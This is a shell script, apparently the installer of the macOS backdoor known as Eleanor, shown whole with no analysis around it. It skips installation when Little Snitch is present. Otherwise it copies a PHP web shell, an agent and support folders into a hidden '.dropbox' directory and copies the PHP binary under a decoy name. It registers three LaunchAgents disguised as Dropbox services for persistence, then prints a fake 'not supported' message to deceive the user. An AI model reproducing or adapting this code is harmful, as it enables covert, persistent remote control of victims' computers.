Eleanor malware script

#!/bin/sh

USER=$(whoami)
DIR=$(dirname $0 2>/dev/null)

if [ -z $DIR ]; then
  DIR="."
fi

if [ ! -d "/Library/Little Snitch" ]; then
    SNITCH=1
else
    SNITCH=0
fi

if [ 0 = 1 ]; then
    SNITCH=1
fi

if [ $SNITCH = 1 ]; then
    if [ ! -d /Users/$USER/Library/.dropbox ]; then

        mkdir /Users/$USER/Library/.dropbox
        cp $DIR/shell.php /Users/$USER/Library/.dropbox/ego.php
        cp $DIR/rules /Users/$USER/Library/.dropbox/rules
        cp $DIR/agent.php /Users/$USER/Library/.dropbox/deamon.php
        cp $DIR/config /Users/$USER/Library/.dropbox/config
        cp $DIR/check_hostname /Users/$USER/Library/.dropbox/check_hostname
        cp $DIR/public.key /Users/$USER/Library/.dropbox/public.key
        cp /usr/bin/php /Users/$USER/Library/.dropbox/dbd

        sed "s/CURRENTUSER/${USER}/g" $DIR/sync/data/storage_orig > $DIR/sync/data/storage
        chmod 700 $DIR/sync/hs
        cp -R $DIR/sync /Users/$USER/Library/.dropbox/sync
        cp -R $DIR/rero /Users/$USER/Library/.dropbox/.rero
        cp -R $DIR/utilities /Users/$USER/Library/.dropbox/utilities

        sed "s/CURRENTUSER/${USER}/g" $DIR/com.getdropbox.dropbox.usercontent_orig.plist > $DIR/com.getdropbox.dropbox.usercontent.plist
        mv $DIR/com.getdropbox.dropbox.usercontent.plist ~/Library/LaunchAgents/com.getdropbox.dropbox.usercontent.plist
        launchctl load ~/Library/LaunchAgents/com.getdropbox.dropbox.usercontent.plist

        sed "s/CURRENTUSER/${USER}/g" $DIR/com.getdropbox.dropbox.integritycheck_orig.plist > $DIR/com.getdropbox.dropbox.integritycheck.plist
        mv $DIR/com.getdropbox.dropbox.integritycheck.plist ~/Library/LaunchAgents/com.getdropbox.dropbox.integritycheck.plist
        launchctl load ~/Library/LaunchAgents/com.getdropbox.dropbox.integritycheck.plist

        sed "s/CURRENTUSER/${USER}/g" $DIR/com.getdropbox.dropbox.timegrabber_orig.plist > $DIR/com.getdropbox.dropbox.timegrabber.plist
        mv $DIR/com.getdropbox.dropbox.timegrabber.plist ~/Library/LaunchAgents/com.getdropbox.dropbox.timegrabber.plist
        launchctl load ~/Library/LaunchAgents/com.getdropbox.dropbox.timegrabber.plist

        VERSION=$(sw_vers -productVersion)
        echo "Sorry, Mac OS X $VERSION is not yet supported."

    fi
fi